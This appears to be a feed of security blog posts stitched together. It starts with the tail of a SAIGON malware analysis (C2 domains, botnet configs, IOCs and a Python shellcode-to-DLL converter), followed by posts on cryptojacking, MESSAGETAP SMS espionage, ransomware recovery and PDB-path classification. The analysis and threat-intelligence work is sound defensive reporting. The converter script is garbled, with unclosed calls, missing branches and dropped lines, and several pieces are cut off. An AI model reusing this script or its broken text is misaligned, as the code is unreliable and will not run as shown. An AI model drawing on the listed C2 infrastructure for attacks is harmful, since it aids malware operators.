Sample SHA256: 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
Sample Version: 3.50.132
PE Timestamp: 2018-07-07T14:51:30
XOR Cookie: 0x40d822d9
C2 URLs:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com

Group / Botnet ID: 1001
Server Key: rvXxkdL5DqOzIRfh
Idle Period: 30
Load Period: 300
Host Keep Time: 1440
RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

Sample SHA256: c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
Sample Version: 3.50.132
PE Timestamp: 2018-07-07T14:51:41
XOR Cookie: 0x40d822d9
C2 URLs:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com

Group / Botnet ID: 1001
Server Key: rvXxkdL5DqOzIRfh
Idle Period: 30
Load Period: 300
Host Keep Time: 1440
RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

Sample SHA256: 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e
Sample Version: 3.50.199
PE Timestamp: 2018-11-15T11:17:09
XOR Cookie: 0x40d822d9
C2 URLs:

  • https://mozilla-yahoo[.]com
  • https://cdn-mozilla-sn45[.]com
  • https://cdn-digicert-i31[.]com

Group / Botnet ID: 1000
Server Key: rvXxkdL5DqOzIRfh
Idle Period: 60
Load Period: 300
Host Keep Time: 1440
RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15
93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

Sample SHA256: 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9
Sample Version: 3.50.209
PE Timestamp: 2018-12-04T10:47:56
XOR Cookie: 0x40d822d9

  • http://softcloudstore[.]com
  • http://setworldtime[.]com
  • https://securecloudbase[.]com

Botnet ID: 1000
Server Key: 0123456789ABCDEF
Idle Period: 20
Minimum Uptime: 300
Load Period: 1800
Host Keep Time: 360
RSA Public Key: (0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453
70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded, 0x10001)

Appendix B: IOCs

Sample hashes:

  • 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
  • c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
  • 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [VT]
  • 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [VT]

C2 servers:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com
  • https://mozilla-yahoo[.]com
  • https://cdn-mozilla-sn45[.]com
  • https://cdn-digicert-i31[.]com
  • http://softcloudstore[.]com
  • http://setworldtime[.]com
  • https://securecloudbase[.]com


  • "Mozilla/5.0 (Windows NT <os_version>; rv:58.0) Gecko/20100101 Firefox/58.0"

Other host-based indicators:

  • "Power<random_string>" scheduled task
  • "PsRun" value under the HKCU\Identities\{<random_guid>} registry key

Appendix C: Shellcode Converter Script

The following Python script is intended to ease analysis of this malware. This script converts the SAIGON shellcode blob back into its original DLL form by removing the PE loader and restoring its PE header. These changes make the analysis of SAIGON shellcode blobs much simpler (e.g. allow loading of the files in IDA), however, the created DLLs will still crash when run in a debugger as the malware still relies on its (now removed) PE loader during the process injection stage of its execution. After this conversion process, the sample is relatively easy to analyze due to its small size and because it is not obfuscated.

#!/usr/bin/env python3
import argparse
import struct
from datetime import datetime

MZ_HEADER = bytes.fromhex(

def main():
    parser = argparse.ArgumentParser(description="Shellcode to PE converter for the Saigon malware family.")
    args = parser.parse_args()

    with open(args.sample, "rb") as f:
        data = bytearray(

    if data.startswith(b'MZ'):
        lfanew = struct.unpack_from('=I', data, 0x3c)[0]
        print('This is already an MZ/PE file.')
    elif not data.startswith(b'\xe9'):
        print('Unknown file type.')

    struct.pack_into('=I', data, 0, 0x00004550)
    if data[5] == 0x01:
        struct.pack_into('=H', data, 4, 0x14c)
    elif data[5] == 0x86:
        struct.pack_into('=H', data, 4, 0x8664)
        print('Unknown architecture.')

    # file alignment
    struct.pack_into('=I', data, 0x3c, 0x200)

    optional_header_size, _ = struct.unpack_from('=HH', data, 0x14)
    magic, _, _, size_of_code = struct.unpack_from('=HBBI', data, 0x18)
    print('Magic:', hex(magic))
    print('Size of code:', hex(size_of_code))

    base_of_code, base_of_data = struct.unpack_from('=II', data, 0x2c)

    if magic == 0x20b:
        # base of data, does not exist in PE32+
        if size_of_code & 0x0fff:
            tmp = (size_of_code & 0xfffff000) + 0x1000
            tmp = size_of_code
        base_of_data = base_of_code + tmp

    print('Base of code:', hex(base_of_code))
    print('Base of data:', hex(base_of_data))

    data[0x18 + optional_header_size : 0x1000] = b'\0' * (0x1000 - 0x18 - optional_header_size)

    size_of_header = struct.unpack_from('=I', data, 0x54)[0]

    data_size = 0x3000
    pos = data.find(struct.pack('=IIIII', 3, 5, 7, 11, 13))
    if pos >= 0:
        data_size = pos - base_of_data

    section = 0
    struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
        size_of_code, base_of_code,
        base_of_data - base_of_code, size_of_header,
        0, 0,
        0, 0,
    section += 1
    struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
        data_size, base_of_data,
        data_size, size_of_header + base_of_data - base_of_code,
        0, 0,
        0, 0,
    section += 1
    struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
        0x1000, base_of_data + data_size,
        0x1000, size_of_header + base_of_data - base_of_code + data_size,
        0, 0,
        0, 0,

    if magic == 0x20b:
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            0x1000, base_of_data + data_size + 0x1000,
            0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,
            0, 0,
            0, 0,
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            0x1600, base_of_data + data_size + 0x2000,
            len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000,
            0, 0,
            0, 0,
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            0x1000, base_of_data + data_size + 0x1000,
            0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,
            0, 0,
            0, 0,
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            0x2000, base_of_data + data_size + 0x2000,
            len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000,
            0, 0,
            0, 0,

    header = MZ_HEADER + data[:size_of_header - len(MZ_HEADER)]
    pe = bytearray(header + data[0x1000:])
    with open(args.sample + '.dll', 'wb') as f:

    lfanew = struct.unpack_from('=I', pe, 0x3c)[0]
    timestamp = struct.unpack_from('=I', pe, lfanew + 8)[0]
    print('PE timestamp:', datetime.utcfromtimestamp(timestamp).isoformat())


if __name__ == "__main__":

Defending businesses from the perils of Cryptojacking

Estimated reading time: 2 minutes

The last few years have given rise to a new & dangerous cyberthreat known as cryptojacking which is unlike typical malware — it does not demand ransom, spy or cripple enterprise systems or cause loss of data. We introduced the subject earlier and are re-iterating on the same with few additional pointers.

Enterprises should take this threat very seriously!

Increase in Cryptojacking attacks

In 2018, an Economic Times report observed that hackers were mining a fortune by running cryptocurrency scripts on Indian government websites, including the director of municipal administration of Andhra Pradesh, Tirupati Municipal Corporation and Macherla municipality. Seqrite’s Threat Report Q2 2019 also detected 19k cryptojacking attacks as against 17K in Q1, 2019 illustrating how this threat is seeing a rapid upsurge.

Since we already shared insights on the functionality of cryptojacking, here is some information on why cryptojacking is getting popular among the hacker community.

Why is Cryptojacking popular?

Less risk! Hackers love Cryptojacking because it is way less risky than planting ransomware in enterprise systems. In businesses worldwide, awareness of ransomware has grown. Hence, stakeholders are applying better and advanced solutions to protect against the same. This is not the same with Cryptojacking as this technique of infecting business machines is new.

While hackers can convince, say 4-5 businesses to pay, out of a 100 that they attack via ransomware, in cryptojacking they can ensure that all 100 machines that they attack work at full capacity to mine for cryptocurrency. This hacking technique is also very simple and does not require high technical skills. Cryptojacking kits can be easily picked up from the dark web for as less as $30.

For enterprises, cryptojacking attacks can lead to server outages and high costs of consumption. To prevent these attacks, they need to take the below-mentioned measures –

Ensure endpoint protection can detect these threats

As a threat which is on the rise, it is important for enterprises to update the endpoint protection solution they are using so they are able to detect and block cryptojacking threats. While like all other cyber threats, where the methods may constantly change, an updated security solution, such as Seqrite’s Endpoint Security, can detect and prevent cryptojacking attacks from happening.

Browser protection is key

Cryptojacking spreads by getting users to click on malicious links on websites which lead to the miner being installed on a system. The way to prevent this from happening is ensuring that browsers in the enterprise have strong protection installed which can prevent these scripts from running.

Use web filtering to block suspicious websites

Along with browser protection, it can be a good idea for enterprises to go one step further and use their web filtering solutions to block websites suspected of malicious activities such as cryptojacking from being accessed.

A strong MDM solution is important

Mobile Device Management (MDM) solutions like the Seqrite mSuite can prevent mobile devices from being infected by cryptojacking software offering cybersecurity for businesses that are also on-the-go.

Seqrite’s Unified Threat Management (UTM) solution offers ease of use and brings key security features such as network security, management, backup and recovery of data and other critical network services together under a single unified umbrella, preventing cryptojacking attacks at the source.

The post Defending businesses from the perils of Cryptojacking appeared first on Seqrite Blog.

Cyber News Rundown: US Coast Guard Hit with Ransomware

Reading Time: ~ 2 min.

US Coast Guard Facility Hit with Ransomware

During the last week of December a US Coast Guard facility was the target of a Ryuk ransomware attack that shut down operations for over 30 hours. Though the Coast Guard has implemented multiple cybersecurity regulations in just the last six months or so, this attack broke through the weakest link in the security chain: human users. Ryuk typically spreads through an email phishing campaign that relies on the target clicking on a malicious link before spreading through a network.

Crypto-trading Platform Forces Password Reset After Possible Leak

Officials for Poloniex, a cryptocurrency trading platform, began pushing out forced password resets after a list of email addresses and passwords claiming to be from Poloniex accounts was discovered on Twitter. While the company was able to verify that many of the addresses found on the list weren’t linked to their site at all, they still opted to issue passwords reset for all clients. It’s still unclear where the initial list actually originated, but it was likely generated from a previous data leak and was being used on a new set of websites.

Cybersecurity Predictions for 2020: What Our Experts Have to Say

850 Wawa Stores Affected by Card-skimming

Nearly every one of Wawa’s 850 stores in the U.S. were found to be infected with a payment card-skimming malware for roughly eight months before the company discovered it. It appears Wawa only found out about the problem after Visa issued a warning about card fraud at gas pumps using less-secure magnetic strips. WaWa has since begun offering credit monitoring to anyone affected. In a statement, they mention skimming occurring from in-store transactions as well, so card chips would only be effective if the malware had been at the device level, rather than the transaction point.

Microsoft Takes Domains from North Korean Hackers

Microsoft recently retook control of 50 domains that were being used by North Korean hackers to launch cyberattacks. Following a successful lawsuit, Microsoft was able to use its extensive tracking data to shut down phishing sites that mainly targeted the U.S., Japan, and South Korea. The tech company is well-known for this tactic, having taken down 84 domains belonging to the Russian hacking group Fancy Bear and seizing almost 100 domains linked to Iranian spies.

Landry’s Suffers Payment Card Breach

One of the largest restaurant chain and property owners, Landry’s, recently disclosed that many of their locations were potentially affected by a payment card leak through their point-of-sale systems. The company discovered that from January through October of 2019, any number of their 600 locations had been exposed to a card-skimming malware if not processed through a main payment terminal that supported end-to-end encryption.

The post Cyber News Rundown: US Coast Guard Hit with Ransomware appeared first on Webroot Blog.

Travelex Temporarily Disabled All Its Systems Following a Malware Attack

Foreign exchange company Travelex announced that it had temporarily disabled all of its systems following a malware attack. Twitter user Izzy Fergus first noticed something was wrong when she attempted to visit and saw a runtime error message. When she reached out to the company on Twitter, Travelex UK informed her that it was […]… Read More

The post Travelex Temporarily Disabled All Its Systems Following a Malware Attack appeared first on The State of Security.

Threat Roundup for December 13 to December 20

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Dec 13 and Dec 20. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center,, or

Read More


TRU12202019 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for December 13 to December 20 appeared first on Cisco Blogs.

What are the different techniques of intruding networks?

Estimated reading time: 2 minutes

Network performance is the key indicator of an enterprise’s productivity and health in these connected times. It is the prerequisite of every business enterprise to maintain a smooth network workflow; however, that is easier said than done. Enterprise networks are susceptible to unauthorized activities in the form of targeted intrusions through vulnerabilities and backdoors.

When such vulnerabilities are exploited, unsolicited access to the network occurs which can have a range of unpleasant consequences for businesses. These intrusions can have harmful effects on business health such as high utilization of resources to loss of enterprise data.

Cybersecurity teams deployed by enterprises are required to proactively detect and respond to network intrusions. It is imperative that these teams have a detailed understanding of how network intrusions and other types of attacks occur so that detection and prevention systems can be set up with the same in mind.

This understanding begins with identifying the type of attack vector. Network intrusions happen through a variety of techniques some of which are –

Asymmetric Routing

In this type of method, intrusions happen via various routes to the target device. To avoid detection, the intrusive packets bypass sensors to reach their target.

Taking advantage of vulnerabilities in networks

In many cases, networks are infiltrated through existing software with attackers either taking advantage of vulnerabilities or using stolen credentials. Since most enterprises use operating systems or other software, attacks can use these vectors for infiltration.

Common Gateway Interface (CGI) scripts

Infiltrators can use the Common Gateway Interface (CGI) scripts to secure network files. CGI scripts are used in networks to support connections between servers and clients on the Web but attackers can manipulate scripts without input verification to access files not meant for the Web.

Protocol Specific Attacks

Devices using common network protocols like TCP, ARP, IP, UDP, ICMP etc. can leave backdoors open for intrusions, e.g. man-in-the-middle attacks

Network intrusions can commonly be covered up by their controllers to ensure that enterprises are unable to detect them. Attackers use various techniques such as deleting access logs, encrypting stolen data or installing rootkits to ensure cybersecurity teams are unable to detect their activities.

The most effective way for enterprises to prevent and act against network intrusions is to employ an Intrusion Prevention/Detection System. An Intrusion Detection System (IDS) monitors all incoming and outgoing network activity and identifies any signs of intrusion in systems that could jeopardize the business. An Intrusion Prevention System (IPS) is a step ahead of IDS with its capabilities. The system detects and blocks anomalies on a company’s network. An IPS is an active control mechanism that monitors the network traffic flow. It identifies and averts vulnerability exploits in the form of malicious inputs that intruders use to interrupt and gain control of an application or system

Benefits of Seqrite’s UTM solution

Seqrite’s Unified Threat Management (UTM) offers a one-stop solution for all enterprise security needs which includes intrusion detection and prevention as a standard feature.

UTM’s in-built IDS and IPS components keep enterprises safe by:

  • Monitoring, evaluating and catching threats in real-time
  • Preventing Denial of Service (DoS)/Distributed Denial of Service (DDoS) attacks
  • Preventing the discovery of open ports by attackers

Seqrite UTM’s IPS acts as a security barrier against unwanted intrusions into enterprise networks and forestalls a broad range of DoS and DDoS attacks before they penetrate the network.

The post What are the different techniques of intruding networks? appeared first on Seqrite Blog.

MESSAGETAP: Who’s Reading Your Text Messages?

FireEye Mandiant recently discovered a new malware family used by APT41 (a Chinese APT group) that is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in a telecommunications network provider in support of Chinese espionage efforts. APT41’s operations have included state-sponsored cyber espionage missions as well as financially-motivated intrusions. These operations have spanned from as early as 2012 to the present day. For an overview of APT41, see our August 2019 blog post or our full published report. MESSAGETAP was first reported to FireEye Threat Intelligence subscribers in August 2019 and initially discussed publicly in an APT41 presentation at FireEye Cyber Defense Summit 2019.


APT41's newest espionage tool, MESSAGETAP, was discovered during a 2019 investigation at a telecommunications network provider within a cluster of Linux servers. Specifically, these Linux servers operated as Short Message Service Center (SMSC) servers. In mobile networks, SMSCs are responsible for routing Short Message Service (SMS) messages to an intended recipient or storing them until the recipient has come online. With this background, let's dig more into the malware itself.

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds.  If either exist, the contents are read and XOR decoded with the string:

    • Interestingly, this XOR key leads to a URL owned by the European Telecommunications Standards Institute (ETSI). The document explains the Short Message Service (SMS) for GSM and UMTS Networks. It describes architecture as well as requirements and protocols for SMS.

These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages.

  • The first file (parm.txt) is a file containing two lists:
    • imsiMap: This list contains International Mobile Subscriber Identity (IMSI) numbers. IMSI numbers identify subscribers on a cellular network.
    • phoneMap: The phoneMap list contains phone numbers.
  • The second file (keyword_parm.txt) is a list of keywords that is read into keywordVec.

Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic:

  1. SMS message contents
  2. The IMSI number
  3. The source and destination phone numbers

The malware searches the SMS message contents for keywords from the keywordVec list, compares the IMSI number with numbers from the imsiMap list, and checks the extracted phone numbers with the numbers in the phoneMap list.

Figure 1: General Overview Diagram of MESSAGETAP

If the SMS message text contains one of the keywordVec values, the contents are XORed and saved to a path with the following format:

  • /etc/<redacted>/kw_<year><month><day>.csv

The malware compares the IMSI number and phone numbers with the values from the imsiMap and phoneMap lists. If found, the malware XORs the contents and stores the data in a path with the following format:

  • /etc/<redacted>/<year><month><day>.csv

If the malware fails to parse a message correctly, it dumps it to the following location:

  • /etc/<redacted>/<year><month><day>_<count>.dump

Significance of Input Files

The configuration files provide context into the targets of this information gathering and monitoring campaign. The data in keyword_parm.txt contained terms of geopolitical interest to Chinese intelligence collection. The two lists phoneMap and imsiMap from parm.txt contained a high volume of phone numbers and IMSI numbers.

For a quick review, IMSI numbers are used in both GSM (Global System for Mobiles) and UMTS (Universal Mobile Telecommunications System) mobile phone networks and consists of three parts:

  1. Mobile Country Code (MCC)
  2. Mobile Network Code (MNC)
  3. Mobile Station Identification Number (MSIN)

The Mobile Country Code corresponds to the subscriber’s country, the Mobile Network Code corresponds to the specific provider and the Mobile Station Identification Number is uniquely tied to a specific subscriber.

Figure 2: IMSI number description

The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor.

Similarly, the keyword list contained items of geopolitical interest for Chinese intelligence collection. Sanitized examples include the names of political leaders, military and intelligence organizations and political movements at odds with the Chinese government. If any SMS messages contained these keywords, MESSAGETAP would save the SMS message to a CSV file for later theft by the threat actor.

In addition to MESSAGETAP SMS theft, FireEye Mandiant also identified the threat actor interacting with call detail record (CDR) databases to query, save and steal records during this same intrusion. The CDR records corresponded to foreign high-ranking individuals of interest to the Chinese intelligence services. Targeting CDR information provides a high-level overview of phone calls between individuals, including time, duration, and phone numbers. In contrast, MESSAGETAP captures the contents of specific text messages.

Looking Ahead

The use of MESSAGETAP and targeting of sensitive text messages and call detail records at scale is representative of the evolving nature of Chinese cyber espionage campaigns observed by FireEye. APT41 and multiple other threat groups attributed to Chinese state-sponsored actors have increased their targeting of upstream data entities since 2017. These organizations, located multiple layers above end-users, occupy critical information junctures in which data from multitudes of sources converge into single or concentrated nodes. Strategic access into these organizations, such as telecommunication providers, enables the Chinese intelligence services an ability to obtain sensitive data at scale for a wide range of priority intelligence requirements.

In 2019, FireEye observed four telecommunication organizations targeted by APT41 actors. Further, four additional telecommunications entities were targeted in 2019 by separate threat groups with suspected Chinese state-sponsored associations. Beyond telecommunication organizations, other client verticals that possess sensitive records related to specific individuals of interest, such as major travel services and healthcare providers, were also targeted by APT41. This is reflective of an evolving Chinese targeting trend focused on both upstream data and targeted surveillance. For deeper analysis regarding recent Chinese cyber espionage targeting trends, customers may refer to the FireEye Threat Intelligence Portal. This topic was also briefed at FireEye Cyber Defense Summit 2019.

FireEye assesses this trend will continue in the future. Accordingly, both users and organizations must consider the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain. This is especially critical for highly targeted individuals such as dissidents, journalists and officials that handle highly sensitive information. Appropriate safeguards such as utilizing a communication program that enforces end-to-end encryption can mitigate a degree of this risk. Additionally, user education must impart the risks of transmitting sensitive data over SMS. More broadly, the threat to organizations that operate at critical information junctures will only increase as the incentives for determined nation-state actors to obtain data that directly support key geopolitical interests remains.

FireEye Detections

  • FE_APT_Controller_SH_MESSAGETAP_1
  • FE_APT_Trojan_Linux64_MESSAGETAP_1
  • FE_APT_Trojan_Linux_MESSAGETAP_1   
  • FE_APT_Trojan_Linux_MESSAGETAP_2    
  • FE_APT_Trojan_Linux_MESSAGETAP_3

Example File

  • File name: mtlserver
  • MD5 hash: 8D3B3D5B68A1D08485773D70C186D877

*This sample was identified by FireEye on VirusTotal and provides an example for readers to reference. The file is a less robust version than instances of MESSAGETAP identified in intrusions and may represent an earlier test of the malware. The file and any of its embedded data were not observed in any Mandiant Consulting engagement*



Thank you to Adrian Pisarczyk, Matias Bevilacqua and Marcin Siedlarz for identification and analysis of MESSAGETAP at a FireEye Mandiant Consulting engagement.

How to protect your organisation after a ransomware attack

So, your computer screen has been hijacked by ransomware and the criminals behind the attack are demanding money to return your systems. Now what?

That’s a question countless organisations are asking themselves nowadays, with more than 100 ransomware attacks reported so far in 2019.

If you think that doesn’t sound so bad, the true scale of the issue is much bigger than this. The majority of organisations that are struck by ransomware don’t report the issue.

This might be because they think it will make them look as if they weren’t adequately prepared to protect themselves from ransomware.

Alternatively, they might fear that announcing an attack will lead to other criminals launching similar attacks against them.

What is ransomware?

Ransomware is a specific type of malware that encrypts the files on a computer, essentially locking the owner out of their systems.

Once this has happened, the ransomware will display a message demanding that the victim make a ransom payment to regain access to their files.

Criminals generally plant the malware on victim’s computers by hiding it in an attachment contained within a phishing email.

Many ransomware victims feel obliged to pay up, because it’s the quickest and least expensive way to get back to business as usual.

However, experts generally urge organisations not to negotiate, because ransom payments help fuel the cyber crime industry.

But what’s the alternative? Take a look at our seven-step guide to find out.

1) Prepare for attack: back up your data

The only way to avoid paying ransoms and avoid catastrophic delays is to make sure you have a second, uninfected copy of your sensitive information.

That way, when crooks encrypt your systems, there’s no need to worry. Let them keep the decryptor. You can just wipe those files and upload clean duplicates.

Because you are continuously creating new files and amending old ones, backups should be performed regularly.

You don’t need to do everything in one go; instead, look at each folder and determine how often substantial changes are made.

The more frequently things are added or amended, the more often you should back them up.

Once you’ve determined that, you should set up a backup schedule, saving your work on an isolated local device or in the Cloud.

2) Be sure that it’s ransomware

Don’t assume that the person who has spotted the attack knows that it’s ransomware.

The attack method is more well-known than ever – thanks in part to WannaCry – but many people wouldn’t be able to identify the attack.

This means you could be wasting valuable time identifying the problem.

You can avoid this by teaching staff about ransomware and establishing a line of communication in the event of security incidents.

That way, the employee who first discovered the malware can immediately contact someone who can identify what the threat is and initiate response measures.

3) Disconnect infected devices from the network

Now that you’re sure that you’ve been hit by ransomware, you should isolate the infection by taking affected devices offline.

This will stop the ransomware spreading, giving you partial functionality and time to implement the next steps.

a business will fall victim to a ransomware attack every 14 seconds in 2019, and every 11 seconds by 2021.

4) Notify your employees

Employees will quickly notice that something is amiss.

Even if their computers haven’t been infected, they’ll see that others have and that certain systems are unavailable.

Whether or not they are aware that the disruption has been caused by ransomware, staff are liable to worry.

Is it just their team that’s affected? How are they supposed to do work? Are their bosses aware of the problem?

That’s why you should explain the situation to your employees as soon as possible.

Let them know which areas of the organisation have been infected and how you are going to manage in the meantime.

Many ransomware victims use pen and paper instead of computers where possible. If that’s possible in this situation, you should help out as much as you can.

For example, you should provide them with said pens and paper, direct them to hard copies of information they might need and bring in colleagues who can’t work to help out.

5) Photograph the ransom note

You can use this as evidence of the attack when submitting a police report.

This might seem futile – the police will almost certainly be unable to recover your data, let alone catch the crooks – but evidence of the attack is necessary for filing a cyber insurance claim.

If you don’t already have cyber insurance, it’s worth considering.

Damages associated with information security incidents generally aren’t mentioned in commercial insurance policies, meaning most providers won’t pay out if you make a claim based on, say, a business interruption.

You must therefore take out a specific cyber insurance policy if you want to protect yourself from the costs associated with cyber attacks and data breaches.

6) Find out what kind of ransomware it is

Identifying the ransomware strain used in the attack might save you a lot of time and effort.

Some strains have been cracked with decryption tools available online, and others are fakes that don’t actually encrypt data.

The ransom note might explicitly state what strain it is, but if it doesn’t, there are other clues that can help you identify it.

Try uploading the encryption file type, the way the ransom demand is phrased and the URLs within it to a website such as ID Ransomware, which can help you determine the strain you’ve been attacked with.

7) Remove the ransomware from your device

If the ransomware behind your attack has been cracked, you can use an online decryptor to remove the infection.

Similarly, if you’ve been attacked with a fake, you can simply delete the malicious file.

But what if it’s the real thing? Fortunately, that’s not much more complicated.

The safest way to remove ransomware is to restore your infected devices to factory settings.

You can do this on Windows devices by going to the update and security menu within your settings, or by holding F8 as your computer turns on until the recovery screen appears.

If the ransomware stops you from reaching recovery screens, you can use the installation disk or USB sticks on which your operating system is stored.

Be warned that this process will remove all data stored on the device, which is why it’s important to have backups.

Once your computer has been restored, you can transfer the duplicate files back onto your device.

Depending on how much data you have, this could take anywhere from a few hours to a few days – so you’re not completely out of the woods.

However, this process won’t take much longer than getting the decryptor from the fraudster and regaining access to your files.

What should you do if you’re under attack? 

When your defences fail and your organisation is compromised, every second counts.

You must respond quickly and follow a systematic, structured approach to the recovery process.

That is, of course, easier said than done, particularly if you don’t have a cyber security expert onboard.

Fortunately, IT Governance is here to help.

With our cyber security incident response service, expert consultants will guide you through the recovery process, from identifying the source of the breach and how to stem the damage to notifying the appropriate people and returning to business as usual.

Find out more



A version of this blog was originally published on 11 June 2019.

The post How to protect your organisation after a ransomware attack appeared first on IT Governance UK Blog.

Definitive Dossier of Devilish Debug Details – Part Deux: A Didactic Deep Dive into Data Driven Deductions

In Part One of this blog series, Steve Miller outlined what PDB paths are, how they appear in malware, how we use them to detect malicious files, and how we sometimes use them to make associations about groups and actors.

As Steve continued his research into PDB paths, we became interested in applying more general statistical analysis. The PDB path as an artifact poses an intriguing use case for a couple of reasons.

­First, the PDB artifact is not directly tied to the functionality of the binary. As a byproduct of the compilation process, it contains information about the development environment, and by proxy, the malware author themselves. Rarely do we encounter static malware features with such an interesting tie to the human behind the keyboard, rather than the functionality of the file.

Second, file paths are an incredibly complex artifact with many different possible encodings. We had personally been dying to find an excuse to spend more time figuring out how to parse and encode paths in a more useful way. This presented an opportunity to dive into this space and test different approaches to representing file paths in various models.

The objectives of our project were:

  1. Build a large data set of PDB paths and apply some statistical methods to find potentially new signature terms and logic.
  2. Investigate whether applying machine learning classification approaches to this problem could improve our detection above writing hand-crafted signatures.
  3. Build a PDB classifier as a weak signal for binary analysis.

To start, we began gathering data. Our dataset, pulled from internal and external sources, started with over 200,000 samples. Once we deduplicated by PDB path, we had around 50,000 samples. Next, we needed to consistently label these samples, so we considered various labeling schemes.

Labeling Binaries With PDB Paths

For many of the binaries we had internal FireEye labels, and for others we looked up hashes on VirusTotal (VT) to have a look at their detection rates. This covered the majority of our samples. For a relatively small subset we had disagreements between our internal engine and VT results, which merited a slightly more nuanced policy. The disagreement was most often that our internal assessment determined a file to be benign, but the VT results showed a nonzero percentage of vendors detecting the file as malicious. In these cases we plotted the ‘VT ratio”: that is, the percentage of vendors labeling the files as malicious (Figure 1).

Figure 1: Ratio of vendors calling file bad/total number of vendors

The vast majority of these samples had VT detection ratios below 0.3, and in those cases we labeled the binaries as benign. For the remainder of samples we tried two strategies – marking them all as malicious, or removing them from the training set entirely. Our classification performance did not change much between these two policies, so in the end we scrapped the remainder of the samples to reduce label noise.

Building Features

Next, we had to start building features. This is where the fun began. Looking at dozens and dozens of PDB paths, we simply started recording various things that ‘pop out’ to an analyst. As noted earlier, a file path contains tons of implicit information, beyond simply being a string-based artifact. Some analogies we have found useful is that a file path is more akin to a geographical location in its representation of a location on the file system, or like a sentence in that it reflects a series of dependent items.

To further illustrate this point, consider a simple file path such as:

C:\Users\World\Desktop\duck\Zbw138ht2aeja2.pdb (source file)

This path tells us several things:

  • This software was compiled on the system drive of the computer
  • In a user profile, under user ‘World’
  • The project is managed on the Desktop, in a folder called ‘duck’
  • The filename has a high degree of entropy and is not very easy to remember

In contrast, consider something such as:

D:\VSCORE5\BUILD\VSCore\release\EntVUtil.pdb (source file)

This indicates:

  • Compilation on an external or secondary drive
  • Within a non-user directory
  • Contains development terms such as ‘BUILD’ and ‘release’
  • With a sensible, semi-memorable file name

These differences seem relatively straightforward and make intuitive sense as to why one might be representative of malware development whereas the other represents a more “legitimate-looking” development environment.

Feature Representations

How do we represent these differences to a model? The easiest and most obvious option is to calculate some statistics on each path. Features such as folder depth, path length, entropy, and counting things such as numbers, letters, and special characters in the PDB filename are easy to compute.

